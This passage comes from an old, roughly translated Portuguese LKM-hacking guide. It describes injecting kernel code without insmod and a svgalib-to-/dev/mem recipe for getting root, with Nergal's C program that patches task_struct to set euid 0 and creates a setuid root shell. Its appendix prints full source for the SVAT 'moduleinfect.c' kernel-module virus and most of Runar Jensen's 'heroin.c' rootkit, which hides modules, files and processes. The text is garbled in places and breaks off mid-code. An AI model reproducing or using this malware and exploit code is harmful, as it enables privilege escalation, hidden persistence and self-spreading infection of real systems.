que fazer? Silvio Cesare propos usar um 'key search'. Entaun leve, abra seu Kernel, leia os primeiros 10 bytes (soh um valor fortuito) de um endereco de simbolo e os leve como uma chave para procurar o mesmo simbolo em outro kernel. Se vc não pode construir uma chave generica para um certo simbolo, vc pode tentar achar algumas relacões deste simbolo com o outro kernel, vc pode criar simbolos com chaves genericas . Achar relacões pode ser feito observando os fontes do Kernel; deste modo vc tb pode achar o Kernel interessante, os simbolos vc poderia modificar (patching). 2.2 O novo 'insmod' trabalhando sem suporte do Kernel Agora vamos voltar para nosso LKM hacking. Esta secão o dará algumas sugestões relativo ao programa de kinsmod de Silvio Cesare. Eu esbocarei soh o funcionamento geral. A parte mais complicada do programa eh o objectcode handling (elf file) e seu kernel space mapping. Mas este eh soh um problema de header de ELF que não processa nenhum kernel especifico. Silvio Cesare usou arquivos ELF porque deste modo vc pode inserir [normal] LKMs. Tb seria possivel escrever um arquivo (soh opcodes - > me veja exemplo de RET) e inserindo este arquivo seria mais dificil para pode tracar. Para esses que realmente querem entender o arquivo ELF que segue eu somei o arquivo de Silvio Cesare para este texto (eu tenho tb feito isto porque o Silvio Cesare soh quer as fontes/ideias dele sido distribuido dentro do arquivo inteiro). Agora eh tempo de olhar as ideias gerais de como inserir LKMs em um sistema sem apoio para aquela caracteristica. O primeiro problema para nos que queremos inserir codigo (um LKM ou tudo) no kernel eh a necessidade por memoria. Nos não podemos levar um endereco fortuito e podemos escrever nosso objectcode para '/dev/kmem'. Assim onde nos pusermos nosso codigo que não fere de certo modo o sistema corrente, não será removido devido a alguma operacão de memoria em espaco de kernel. Há um lugar onde nos podemos inserir um pouco de codigo, de uma olhada ah figura seguinte que mostra a memoria de kernel geral: kernel data ... kmalloc pool O 'kmalloc pool' eh usada para distribuicão de memoria em espaco de kernel (kmalloc(...)). Nos não podemos por nosso codigo nesta 'pool' porque nos não podemos estar seguros que o espaco de endereco para o que nos escrevemos eh novo. Agora vem a ideia de Silvio Cesare: o kmalloc agrupa bordas em memoria q eh economizado em memory_start e memory_end que são exportados pelo Kernel (veja /proc/ksyms). O ponto interessante sobre isto eh que o endereco de comeco (memory_start) não eh exatamente o kmalloc adress do comeco de pool, porque este endereco eh alinhado ah proxima borda da página de memory_start. So há um pouco de memoria que nunca será usada (entre memory_start e o real comeco de kmalloc pool). Este eh o melhor lugar para insirir nosso codigo. Ok esta não eh a historia inteira, vc pode reconhecer que não ajustará um LKM util neste pequeno Buffer. Silvio Cesare usou um codigo bootstrap, ele pos neste pequeno buffer; este codigo carrega o LKM atual. Deste modo nos podemos carregar LKMs em sistemas sem apoio por isto. Por favor leia o paper de Silvio Cesare para uma discussão detalhada em tracar um arquivo de LKM de fato (formato ELF) em kernel; isto eh um pouco dificil. 3. Ultimas palavras A Secão 2 era agradável, mas e qaunto a sistemas que não permitem acesso ao kmem? Bem, um ultimo modo seria 'kernel space' de modificacao com ajuda de alguns Kernel Bugs. Sempre ha alguns Buffer Overflows mais amarelos e outros problemas em Kernel Space. Tb considere modulos conferindo alguns Bugs. Há pouco de uma olhada nos muitos arquivos fonte do kernel. Ateh mesmo programas user space podem nos ajudar a modificar o kernel. Atente, que alguns meses atrás um bug relativo a svgalib foi achado. Todo programa que usa svgalib adquire um level com permissoes de escrita a /dev/mem./dev/mem tb pode ser usado para RKP com o mesmo adress de /dev/kmem. Assim olhe a lista seguinte, p/ adquirir algumas ideias de como fazer RKP em muitos sistemas seguros: * ache um programa que use svgalib * confira a fonte daquele programa a procura de buffer overflows comuns (não deve ser muito dificil) * escreva uma facanha que comece um programa que usa o /dev/mem aberto a level escrita * manipular a estrutura de tarefa apropriada para fazer seu processo UID 0 * crie uma shell root Este esquema generico trabalha muito bem (zgv, gnuplot ou alguns outros exemplos). Para consertar a estrutura de tarefa, algumas pessoas usam o seguinte programa (que usa o open write handle) por Nergal: /* by Nergal */ #define SEEK_SET 0 #define __KERNEL__ #include #undef __KERNEL__ #define SIZEOF sizeof(struct task_struct) int mem_fd; int mypid; void testtask (unsigned int mem_offset) { struct task_struct some_task; int uid, pid; lseek (mem_fd, mem_offset, SEEK_SET); read (mem_fd, &some_task, SIZEOF); if (some_task.pid == mypid) /* is it our task_struct ? */ { some_task.euid = 0; some_task.fsuid = 0; /* needed for chown */ lseek (mem_fd, mem_offset, SEEK_SET); write (mem_fd, &some_task, SIZEOF); /* from now on, there is no law beyond do what thou wilt */ chown ("/tmp/sh", 0, 0); chmod ("/tmp/sh", 04755); exit (0); } } #define KSTAT 0x001a8fb8 /* <-- replace this addr with that of your kstat */ main () /* by doing strings /proc/ksyms |grep kstat */ { unsigned int i; struct task_struct *task[NR_TASKS]; unsigned int task_addr = KSTAT - NR_TASKS * 4; mem_fd = 3; /* presumed to be opened /dev/mem */ mypid = getpid (); lseek (mem_fd, task_addr, SEEK_SET); read (mem_fd, task, NR_TASKS * 4); for (i = 0; i < NR_TASKS; i++) if (task[i]) testtask ((unsigned int)(task[i])); } Isto eh apenas um exemplo para mostrar para vc que sempre há um modo, vc soh tem que achar ele. Em sistemas com stack execution patches, vc poderia procurar buffer overflows de montão ou há pouco pule para dentro de alguma library functions (system(...)). Há mil modos... Eu espero que esta ultima secão lhe de algumas ideias de como proceder. V. O próximo futuro: kernel 2.2.x 1. Principal Diferença para escritores de LKM As distros tem um novo Kernel principal Versão 2.2 que traz algumas pequenas mudanças na codificação de LKM. Esta parte lhe ajudará a fazer a mudança, e esboça as mudanças maiores. [Nota: Haverá outro lançamento que se concentra no núcleo novo] eu mostrarei a você algumas macros / funções novas que o ajudarão a desemvolver LKMs para kernel 2.2. Por um listar exato de todo objeto pegado de mudança de uma olhada ao novo Linux/module.h , incle o arquivo que era totalmente reescrevido para kernel 2.1.18. Primeiro nós olharemos a alguns macros que nos ajudarão a dirigir a 'System Table' de um modo mais fácil: ---------------------------------------------------------------------------- | macro | descrição | ---------------------------------------------------------------------------- |EXPORT_NO_SYMBOLS; | este aqui é igual a register_symtab(NULL) | | | para versões de kernel mais velhas | ---------------------------------------------------------------------------- |EXPORT_SYMTAB; | este aqui deve ser definido antes de | | | linux/module.h se você quer exportar alguns | | | símbolos | ---------------------------------------------------------------------------- |EXPORT_SYMBOL(name); | exporte o símbolo nomeado 'name' | ---------------------------------------------------------------------------- |EXPORT_SYMBOL_NOVERS(name); | exporte sem informação de versão | ---------------------------------------------------------------------------- As funcoes de acesso ao user space também foram mudadas um pouco, assim eu os listarei aqui (só inclua asm/uaccess.h para os usar): ---------------------------------------------------------------------------- |função | descrição | ---------------------------------------------------------------------------- | int access_ok (int type, unsigned long addr, | esta função confere se o | | unsigned long size); | processo atual é permitido| | | ter acesso a addr | ---------------------------------------------------------------------------- | unsigned long copy_from_user (unsigned long to, | isto é o 'nova' função | | unsigned long from, unsigned long len); | memcpy_tofs | | ---------------------------------------------------------------------------- | unsigned long copy_to_user (unsigned long to, | esta é a contraparte de | | unsigned long from, unsigned long len); | copy_from_user(...) | ---------------------------------------------------------------------------- Você não precisa usar access_ok(...) porque a função listou eles sobre cheque nisto. Há muitas outras diferenças, mas você realmente deveria dar uma olhada a linux/module.h por um listar detalhado. Eu quero mencionar uma última coisa. Eu tenho escrito muito stuff no kerneldaemon (kerneld). kernel 2.2 não usará qualquer kerneld mais. Usa outro modo de implementar o request_module(...) na função Kernel Space - é chamado 'kmod'. kmod totalmente corre em kernel space (nenhum IPC para qlq user space mais). Para programadores de LKM nada muda, você ainda pode usar o request_module(...) para carregar módulos. Assim o infectors de LKM também podem usar isto em sistemas com kernel 2.2 . Eu cito esta pequena secao sobre kernel 2.2, mas no momento eu estou trabalhando em um documento geral em segurança no kernel 2.2 (especialmente o behaviour de lkm). Assim espere por novos lançamentos da THC.Eu até mesmo planejo trabalhar em alguns sistemas BSD (FreeBSD, OpenBSD, por exemplo) mas isto ocupa alguns meses. VI. Ultimas Palavras 1. A 'historia do LKM' ou 'como fazer um Plug System & Hacking compativel' Você pode fikar puto com o modo com q LKMs sao inseguros e por que eles são usados de tal modo. Bem, LKMs são projetados para especialmente fazer com q a vida dos usuarios seja mais fácil. Linux luta contra a Microsoft, assim eles necessitam de alguma maneira fazer do unix velho algo um pouco mais atraente e mais fácil. Eles implementam coisas como KDE e outras coisas agradáveis. Por exemplo, Kerneld foi desenvolvido para fazer module handling mais fácil. Mas lembre-se, quanto mais fácil e mais automatizado um sistema é, mais problemas relativo a segurança surgem. É impossível um sistema utilizado por todo o mundo ser bastante seguro. Módulos são um grande exemplo para isto. Microsoft nos mostra outros exemplos: pensando em ActiveX, que é (talvez) uma boa idéia , com o desígnio de uma seguranca cruel por manter tudo taun simples. Portanto queridos desenvolvedores de Linux: Tenha cuidado, e não cometam o mesmo erro q a Microsoft cometeu, não crie um plug & hack OS compativel. SEGURANCA ACIMA DE TUDO! Este texto também deveria deixar claro que, o kernel de qualquer sistema deve ser protegido da melhor maneira possivel. Isso deve ser impossível para atacantes q modificam o artigo mais importante de seu sistema inteiro. Eu deixo esta tarefa para todos desenvolvedores de sistemas ai fora :). 2. Links para outros Recursos Aqui estao alguns Links interessantes sobre LKMs (não só relacionado a hack & securiy): *** na Internet *** http://www.linuxhq.com => tudo sobre Linux + kernel agradável http://www.linuxlinks.com => muitos links sobre Linux http://www.linux.org => simplesmente fazendo 'propaganda' da página do Linux http://www.lwn.net => notícias semanais sobre Linux ; muito interessante também há secoes de kernel / security tambem http://www.phrack.com => leia os artigos 50 & 52 para informaçoes interessante sobre modulos http://www.rootshell.com => eles têm alguns LKMs http://www.geek-girl.com/bugtraq => agradável / lá tinham algumas discussões sobre segurança de LKM http://hispahack.ccc.de => HISPAHACK homepage http://r3wt.base.org => THC homepage (artigos, revistas e muitas ferramentas) http://www.antisearch.com => um dos melhores sites sobre segurança / hacking de máquinas, procuras relacionadas http://www.kernel.org => baixe o kernel e estude-o! *** em Livros *** => Linux-Kernel-Programming (Addison Wesley) Um bom livro mesmo. Eu li a versão alemã mas acho q também há uma versão inglesa. => Linux Device Drivers (O'Reilly) Um pouco fora do tópico, mas também muito interessante. O enfoque é mais em escrever para LKMs como device drivers. Reconhecimentos Agradecimento por fontes e idéias para: plaguez, Solar Designer, halflife, Michal Zalewski, Runar Jensen, Aleph1, Stealthf0rk/SVAT, FLoW/HISPAHACK, route, Andrew Tridgell, Silvio Cesare, Daemon9, Nergal, Van Hauser (especialmente por me mostrar alguns Bugs) e para todos esses indivíduos sem nome que nos proporcionam as idéias deles (há tantos)! :) Greets grupos: THC, deep, ech0, ADM, =phake = pessoas: Van Hauser - obrigado por me dar a chance de aprender mindmaniac - obrigado por me introduzir ao 'primeiro contato' música de fundo se agrupa (me ajudando a me concentrar em escrever :): Neuroactive, Image Transmission, Panic on the Titanic, Dracul ----------------------------------------------------------------------- A - Apêndice Aqui vc vai encontrar alguns codigos. Se o autor do LKM publicado fizer alguma nota/texto que seja de interesse, ele entrara aqui tambem. ----------------------------------------------------------------------- LKM Infector Nome: moduleinfect.c Autor: StealthfOrk/SVAT Descricao: Este eh o primeiro infector de LKM publicado que foi discutido no II.8. Issu nao eh uma rotina de destruicao, eh apenas um infector, entao eh experimental, inofensivo. Link: www.rootshell.com /* SVAT - Special Virii And Trojans - present: * * -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems -=-=-=-=-=-=-=- * * 0kay guys, here we go... * As i told you with VLP I (we try to write an fast-infector) * here's the result: * a full, non-overwriting module infector that catches * lkm's due to create_module() and infects them (max. 7) * if someone calls delete_module() [even on autoclean]. * Linux is not longer a virii-secure system :( * and BSD follows next week ... * Since it is not needed 2 get root (by the module) you should pay * attention on liane. * Note the asm code in function init_module(). * U should assemble your /usr/src/.../module.c with -S and your CFLAG * from your Makefile and look for the returnvalue from the first call * of find_module() in sys_init_module(). look where its stored (%ebp for me) * and change it in __asm__ init_module()! (but may it is not needed) * * For education only! * Run it only with permisson of the owner of the system you are logged on!!! * * !!! YOU USE THIS AT YOUR OWN RISK !!! * * I'm not responsible for any damage you may get due to playing around with this. * * okay guys, you have to find out some steps without my help: * * 1. $ cc -c -O2 module.c * 2. get length of module.o and patch the #define MODLEN in module.c * 3. $ ??? * 4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o * 5. $ mv module.o /lib/modules/2.0.33/fs/fat.o * >AND NOW, IF YOU REALLY WANT TO START THE VIRUS:< * 6. $ insmod ??? * * This lkm-virus was tested on a RedHat 4.0 system with 80486-CPU and * kernel 2.0.33. It works. * * greets (in no order...) * <><><><><><><><><><><><> * * NetW0rker - tkx for da sources * Serialkiller - gib mir mal deine eMail-addy * hyperSlash - 1st SVAT member, he ? * naleZ - hehehe * MadMan - NetW0rker wanted me to greet u !? * KilJaeden - TurboDebugger and SoftIce are a good choice ! * * and all de otherz * * Stealthf0rk/SVAT */ #define __KERNEL__ #define MODULE #define MODLEN 7104 #define ENOUGH 7 #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds()); #define END_KMEM set_fs(old_fs);} /* i'm not sure we need all of 'em ...*/ #include #include #include #include #include #include #include #include #include #include #include #include #include #define __NR_our_syscall 211 #define MAXPATH 30 /*#define DEBUG*/ #ifdef DEBUG #define DPRINTK(format, args...) printk(KERN_INFO format,##args) #else #define DPRINTK(format, args...) #endif /* where the sys_calls are */ extern void *sys_call_table[]; /* tested only with kernel 2.0.33, but thiz should run under 2.x.x * if you change the default_path[] values */ static char *default_path[] = { ".", "/linux/modules", "/lib/modules/2.0.33/fs", "/lib/modules/2.0.33/net", "/lib/modules/2.0.33/scsi", "/lib/modules/2.0.33/block", "/lib/modules/2.0.33/cdrom", "/lib/modules/2.0.33/ipv4", "/lib/modules/2.0.33/misc", "/lib/modules/default/fs", "/lib/modules/default/net", "/lib/modules/default/scsi", "/lib/modules/default/block", "/lib/modules/default/cdrom", "/lib/modules/default/ipv4", "/lib/modules/default/misc", "/lib/modules/fs", "/lib/modules/net", "/lib/modules/scsi", "/lib/modules/block", "/lib/modules/cdrom", "/lib/modules/ipv4", "/lib/modules/misc", 0 }; static struct symbol_table my_symtab = { #include X(printk), X(vmalloc), X(vfree), X(kerneld_send), X(current_set), X(sys_call_table), X(register_symtab_from), #include }; char files2infect[7][60 + 2]; /* const char kernel_version[] = UTS_RELEASE; */ int (*old_create_module)(char*, int); int (*old_delete_module)(char *); int (*open)(char *, int, int); int (*close)(int); int (*unlink)(char*); int our_syscall(int); int infectfile(char *); int is_infected(char *); int cp(struct file*, struct file*); int writeVir(char *, char *); int init_module2(struct module*); char *get_mod_name(char*); /* needed to be global */ void *VirCode = NULL; /* install new syscall to see if we are already in kmem */ int our_syscall(int mn) { /* magic number: 40hex :-) */ if (mn == 0x40) return 0; else return -ENOSYS; } int new_create_module(char *name, int size) { int i = 0, j = 0, retval = 0; if ((retval = old_create_module(name, size)) < 0) return retval; /* find next free place */ for (i = 0; files2infect[i][0] && i < 7; i++); if (i == 6) return retval; /* get name of mod from user-space */ while ((files2infect[i][j] = get_fs_byte(name + j)) != 0 && j < 60) j++; DPRINTK("in new_create_module: got %s as #%d\n", files2infect[i], i); return retval; } /* we infect modules after sys_delete_module, to be sure * we don't confuse the kernel */ int new_delete_module(char *modname) { static int infected = 0; int retval = 0, i = 0; char *s = NULL, *name = NULL; retval = old_delete_module(modname); if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL) return retval; for (i = 0; files2infect[i][0] && i < 7; i++) { strcat(files2infect[i], ".o"); if ((s = get_mod_name(files2infect[i])) == NULL) { return retval; } name = strcpy(name, s); if (!is_infected(name)) { DPRINTK("try 2 infect %s as #%d\n", name, i); infected++; infectfile(name); } memset(files2infect[i], 0, 60 + 2); } /* for */ /* its enough */ if (infected >= ENOUGH) cleanup_module(); vfree(name); return retval; } /* lets take a look at sys_init_module(), that calls * our init_module() compiled with * CFLAG = ... -O2 -fomit-frame-pointer * in C: * ... * if((mp = find_module(name)) == NULL) * ... * * is in asm: * ... * call find_module * movl %eax, %ebp * ... * note that there is no normal stack frame !!! * thats the reason, why we find 'mp' (return from find_module) in %ebp * BUT only when compiled with the fomit-frame-pointer option !!! * with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp) * you should find mp at -4(%ebp) . * thiz is very bad hijacking of local vars and an own topic. * I hope you do not get an seg. fault. */ __asm__ (" .align 16 .globl init_module .type init_module,@function init_module: pushl %ebp /* ebp is a pointer to mp from sys_init_module() */ /* and the parameter for init_module2() */ call init_module2 popl %eax xorl %eax, %eax /* all good */ ret /* and return */ .hype27: .size init_module,.hype27-init_module "); /* for the one with no -fomit-frame-pointer and no -O2 this should (!) work: * * pushl %ebx * movl %ebp, %ebx * pushl -4(%ebx) * call init_module2 * addl $4, %esp * xorl %eax, %eax * popl %ebx * ret */ /*----------------------------------------------*/ int init_module2(struct module *mp) { char *s = NULL, *mod = NULL, *modname = NULL; long state = 0; mod = vmalloc(60 + 2); modname = vmalloc(MAXPATH + 60 + 2); if (!mod || !modname) return -1; strcpy(mod, mp->name); strcat(mod, ".o"); MOD_INC_USE_COUNT; DPRINTK("in init_module2: mod = %s\n", mod); /* take also a look at phrack#52 ...*/ mp->name = ""; mp->ref = 0; mp->size = 0; /* thiz is our new main ,look for copys in kmem ! */ if (sys_call_table[__NR_our_syscall] == 0) { old_delete_module = sys_call_table[__NR_delete_module]; old_create_module = sys_call_table[__NR_create_module]; sys_call_table[__NR_our_syscall] = (void*)our_syscall; sys_call_table[__NR_delete_module] = (void*)new_delete_module; sys_call_table[__NR_create_module] = (void*)new_create_module; memset(files2infect, 0, (60 + 2)*7); register_symtab(&my_symtab); } open = sys_call_table[__NR_open]; close = sys_call_table[__NR_close]; unlink = sys_call_table[__NR_unlink]; if ((s = get_mod_name(mod)) == NULL) return -1; modname = strcpy(modname, s); load_real_mod(modname, mod); vfree(mod); vfree(modname); return 0; } int cleanup_module() { sys_call_table[__NR_delete_module] = old_delete_module; sys_call_table[__NR_create_module] = old_create_module; sys_call_table[__NR_our_syscall] = NULL; DPRINTK("in cleanup_module\n"); vfree(VirCode); return 0; } /* returns 1 if infected; * seek at position MODLEN + 1 and read out 3 bytes, * if it is "ELF" it seems the file is already infected */ int is_infected(char *filename) { char det[4] = {0}; int fd = 0; struct file *file; DPRINTK("in is_infected: filename = %s\n", filename); BEGIN_KMEM fd = open(filename, O_RDONLY, 0); END_KMEM if (fd <= 0) return -1; if ((file = current->files->fd[fd]) == NULL) return -2; file->f_pos = MODLEN + 1; DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos); BEGIN_KMEM file->f_op->read(file->f_inode, file, det, 3); close(fd); END_KMEM DPRINTK("in is_infected: det = %s\n", det); if (strcmp(det, "ELF") == 0) return 1; else return 0; } /* copy the host-module to tmp, write VirCode to * hostmodule, and append tmp. * then delete tmp. */ int infectfile(char *filename) { char *tmp = "/tmp/t000"; int in = 0, out = 0; struct file *file1, *file2; BEGIN_KMEM in = open(filename, O_RDONLY, 0640); out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640); END_KMEM DPRINTK("in infectfile: in = %d out = %d\n", in, out); if (in <= 0 || out <= 0) return -1; file1 = current->files->fd[in]; file2 = current->files->fd[out]; if (!file1 || !file2) return -1; /* save hostcode */ cp(file1, file2); BEGIN_KMEM file1->f_pos = 0; file2->f_pos = 0; /* write Vircode [from mem] */ DPRINTK("in infetcfile: filenanme = %s\n", filename); file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN); /* append hostcode */ cp(file2, file1); close(in); close(out); unlink(tmp); END_KMEM return 0; } int disinfect(char *filename) { char *tmp = "/tmp/t000"; int in = 0, out = 0; struct file *file1, *file2; BEGIN_KMEM in = open(filename, O_RDONLY, 0640); out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640); END_KMEM DPRINTK("in disinfect: in = %d out = %d\n",in, out); if (in <= 0 || out <= 0) return -1; file1 = current->files->fd[in]; file2 = current->files->fd[out]; if (!file1 || !file2) return -1; /* save hostcode */ cp(file1, file2); BEGIN_KMEM close(in); DPRINTK("in disinfect: filename = %s\n", filename); unlink(filename); in = open(filename, O_RDWR|O_CREAT, 0640); END_KMEM if (in <= 0) return -1; file1 = current->files->fd[in]; if (!file1) return -1; file2->f_pos = MODLEN; cp(file2, file1); BEGIN_KMEM close(in); close(out); unlink(tmp); END_KMEM return 0; } /* a simple copy routine, that expects the file struct pointer * of the files to be copied. * So its possible to append files due to copieng. */ int cp(struct file *file1, struct file *file2) { int in = 0, out = 0, r = 0; char *buf; if ((buf = (char*)vmalloc(10000)) == NULL) return -1; DPRINTK("in cp: f_pos = %d\n", file1->f_pos); BEGIN_KMEM while ((r = file1->f_op->read(file1->f_inode, file1, buf, 10000)) > 0) file2->f_op->write(file2->f_inode, file2, buf, r); file2->f_inode->i_mode = file1->f_inode->i_mode; file2->f_inode->i_atime = file1->f_inode->i_atime; file2->f_inode->i_mtime = file1->f_inode->i_mtime; file2->f_inode->i_ctime = file1->f_inode->i_ctime; END_KMEM vfree(buf); return 0; } /* Is that simple: we disinfect the module [hide 'n seek] * and send a request to kerneld to load * the orig mod. N0 fuckin' parsing for symbols and headers * is needed - cool. */ int load_real_mod(char *path_name, char *name) { int r = 0, i = 0; struct file *file1, *file2; int in = 0, out = 0; DPRINTK("in load_real_mod name = %s\n", path_name); if (VirCode) vfree(VirCode); VirCode = vmalloc(MODLEN); if (!VirCode) return -1; BEGIN_KMEM in = open(path_name, O_RDONLY, 0640); END_KMEM if (in <= 0) return -1; file1 = current->files->fd[in]; if (!file1) return -1; /* read Vircode [into mem] */ BEGIN_KMEM file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN); close(in); END_KMEM disinfect(path_name); r = request_module(name); DPRINTK("in load_real_mod: request_module = %d\n", r); return 0; } char *get_mod_name(char *mod) { int fd = 0, i = 0; static char* modname = NULL; if (!modname) modname = vmalloc(MAXPATH + 60 + 2); if (!modname) return NULL; BEGIN_KMEM for (i = 0; (default_path[i] && (strstr(mod, "/") == NULL)); i++) { memset(modname, 0, MAXPATH + 60 + 2); modname = strcpy(modname, default_path[i]); modname = strcat(modname, "/"); modname = strcat(modname, mod); if ((fd = open(modname, O_RDONLY, 0640)) > 0) break; } close(fd); END_KMEM if (!default_path[i]) return NULL; return modname; } ----------------------------------------------------------------------------- Heroin- the classic(O classico) Nome: Heroin Autor: Runar Jensen Descricao: Jensen introduziu algumas boas ideias neste texto, estes foram os primeiros passos para nosso moderno Hide LKM do plaguez. A maneira que Jensen fez isso requer mais trabalho para ser codado do que o de plaguez(Solar Designer e outras pessoas), mas funciona. O modo Jensen mostra processos de uma forma muito complicada(bem, este texto eh bem velho, e esta foi uma das primeiras tecnicas de LKM hacking). Ele usa um codigo sinal especial (31) em ordem para setar a flag num processo estruturado indicando q aquele processo sera aberto, da maneira que descutimos na parte II. O resto eh bastante claro. ----------------heroin.txt------------------ Como usualmente demonstrado na Phrack 50 com seu projeto, eh trivial apontar todo systemcall no linux com um modulo. Issu parece que eh a primeira vez que seu sistema foi compromissado no boot level, issu eh possivel para um intruso alterar completamente "sem" modificar nenhum binario ou deixando nenhuma backdoor visivel. Pois estas simpaticas ferramentas tem sido usadas pela comunidade hacker atualmente, eu decidi publicar um pedaco do codigo para demonstrar o potencial de um modulo malicioso hehehe. O pedaco do codigo eh usado em modulos para kerneis 2.1, aqueles esquemas getdents(), kill(), read() e query_module() chamados. Depois de rodado, o modulo se torna invisivel para um 'lsmod' e tambem fica fora do /proc/modules modificando a saida de qualquer query_module() chamada e toda read() chamada acessando o /proc/modules. Aparentemente 'rmmod' entao chama query_module() para listar todos os modulos antes para remover um especifico, e ira aparecer que o modulo nunca existiu. A saida de qualquer getdents() chamada eh modificada para mostrar qualquer arquivo ou diretorio iniciado com a seguinte string, deixando-o acessivel apenas se voce souber seus nomes exatos. Issu entao mostrara qualquer diretorio do /proc/ apontando pids que tem uma flag especifica eu sua estrutura interna, deixando um usuario com acesso root fucando em qualquer processo(e sao criancas, desde que a estrutura eh duplicada depois que o processo faz um fork()). Para setar a flag, simplesmente envie um processo de sinal 31 que eh surpreendido e pego pela chamado do kill(). Para demonstrar os efeitos... [root@image:~/test]# ls -l total 3 -rw------- 1 root root 2832 Oct 8 16:52 heroin.o [root@image:~/test]# insmod heroin.o [root@image:~/test]# lsmod | grep heroin [root@image:~/test]# grep heroin /proc/modules [root@image:~/test]# rmmod heroin rmmod: module heroin not loaded [root@image:~/test]# ls -l total 0 [root@image:~/test]# echo "I'm invisible" > heroin_test [root@image:~/test]# ls -l total 0 [root@image:~/test]# cat heroin_test I'm invisible [root@image:~/test]# ps -aux | grep gpm root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm [root@image:~/test]# kill -31 223 [root@image:~/test]# ps -aux | grep gpm [root@image:~/test]# ps -aux 223 USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm [root@image:~/test]# ls -l /proc | grep 223 [root@image:~/test]# ls -l /proc/223 total 0 -r--r--r-- 1 root root 0 Oct 8 16:53 cmdline lrwx------ 1 root root 0 Oct 8 16:54 cwd -> /var/run -r-------- 1 root root 0 Oct 8 16:54 environ lrwx------ 1 root root 0 Oct 8 16:54 exe -> /usr/bin/gpm dr-x------ 1 root root 0 Oct 8 16:54 fd pr--r--r-- 1 root root 0 Oct 8 16:54 maps -rw------- 1 root root 0 Oct 8 16:54 mem lrwx------ 1 root root 0 Oct 8 16:54 root -> / -r--r--r-- 1 root root 0 Oct 8 16:53 stat -r--r--r-- 1 root root 0 Oct 8 16:54 statm -r--r--r-- 1 root root 0 Oct 8 16:54 status [root@image:~/test]# As demonstracoes parecem obvias. Uma vez que um compromisso foi feito, nada pode ser confiavel, inclusive o sistema operacional. Um modulo como esse pode ser colocado no /lib/modules//default para forcar isso a ser rodado depois de todo root. Combinadas com reacoes obscuras da backdoor remota isso pode ser indetectavel por um longo periodo a nao ser que o adm saiba pelo que ele esta procurando. Entao como pode ser detectado???? Neste caso, o quantidade de processos eh limitada, entao voce pode abrir todos os processos possiveis e tentar localizar um q nao foi listado no /proc. Usando readdir() com getdents() nao vai funcionar. Na verdade, tentar procurar algo como issu sabendo exatamente o que voce esta procurando, pode ser encontrado no user scape... Ou seja, continue amedrontado! Amedronte-se muuito! =] /* * heroin.c * * Runar Jensen * * This Linux kernel module patches the getdents(), kill(), read() * and query_module() system calls to demonstrate the potential * dangers of the way modules have full access to the entire kernel. * * Once loaded, the module becomes invisible and can not be removed * with rmmod. Any files or directories starting with the string * defined by MAGIC_PREFIX appear to disappear, and sending a signal * 31 to any process as root effectively hides it and all its future * children. * * This code should compile cleanly and work with most (if not all) * recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57. * It will not compile as is under 2.0.30, since 2.0.30 lacks the * query_module() function. * * Compile with: * gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c */ #include #include #include #include #include #include #include #include #include #define MAGIC_PREFIX "heroin" #define PF_INVISIBLE 0x10000000 #define SIGINVISI 31 int errno; static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count); static inline _syscall2(int, kill, pid_t, pid, int, sig); static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count); static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, bufsize, size_t *, ret); extern void *sys_call_table[]; int (*original_getdents)(unsigned int, struct dirent *, unsigned int); int (*original_kill)(pid_t, int); int (*original_read)(int, void *, size_t); int (*original_query_module)(const char *, int, void *, size_t, size_t *); int myatoi(char *str) { int res = 0; int mul = 1; char *ptr; for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) { if(*ptr < '0' || *ptr > '9') return(-1); res += (*ptr - '0') * mul; mul *= 10; } return(res); } void mybcopy(char *src, char *dst, unsigned int num) { while(num--) *(dst++) = *(src++); } int mystrcmp(char *str1, char *str2) { while(*str1 && *str2) if(*(str1++) != *(str2++)) return(-1); return(0); } struct task_struct *find_task(pid_t pid) { struct task_struct *task = current; do { if(task->pid == pid) return(task); task = task->next_task; } while(task != current); return(NULL); } int is_invisible(pid_t pid) { struct task_struct *task; if((task = find_task(pid)) == NULL) return(0); if(task->flags & PF_INVISIBLE) return(1); return(0); } int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { int res; int proc = 0; struct inode *dinode; char *ptr = (char *)dirp; struct dirent *curr; struct dirent *prev = NULL; res = (*original_getdents)(fd, dirp, count); if(!res) return(res); if(res == -1) return(-errno); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1) proc = 1; while(ptr < (char *)dirp + res) { curr = (struct dirent *)ptr; if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) || (proc && is_invisible(myatoi(curr->d_name)))) { if(curr == dirp) { res -= curr->d_reclen; mybcopy(ptr + curr->d_reclen, ptr, res); continue; } else prev->d_reclen += curr->d_reclen; } else prev = curr; ptr += curr->d_reclen; } return(res); } int hacked_kill(pid_t pid, int sig) { int res; struct task_struct *task = current; if(sig != SIGINVISI) { res = (*original_kill)(pid, sig); if(res == -1) return(-errno); return(res); } if((task = find_task(pid)) == NULL) return(-ESRCH); if(current->uid && current->euid) return(-EPERM); task->flags |= PF_INVISIBLE; return(0); } int hacked_read(int fd, char *buf, size_t count) { int res; char *ptr, *match; struct inode *dinode; res = (*original_read)(fd, buf, count); if(res == -1) return(-errno); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if(dinode->i_ino != PROC_MODULES || 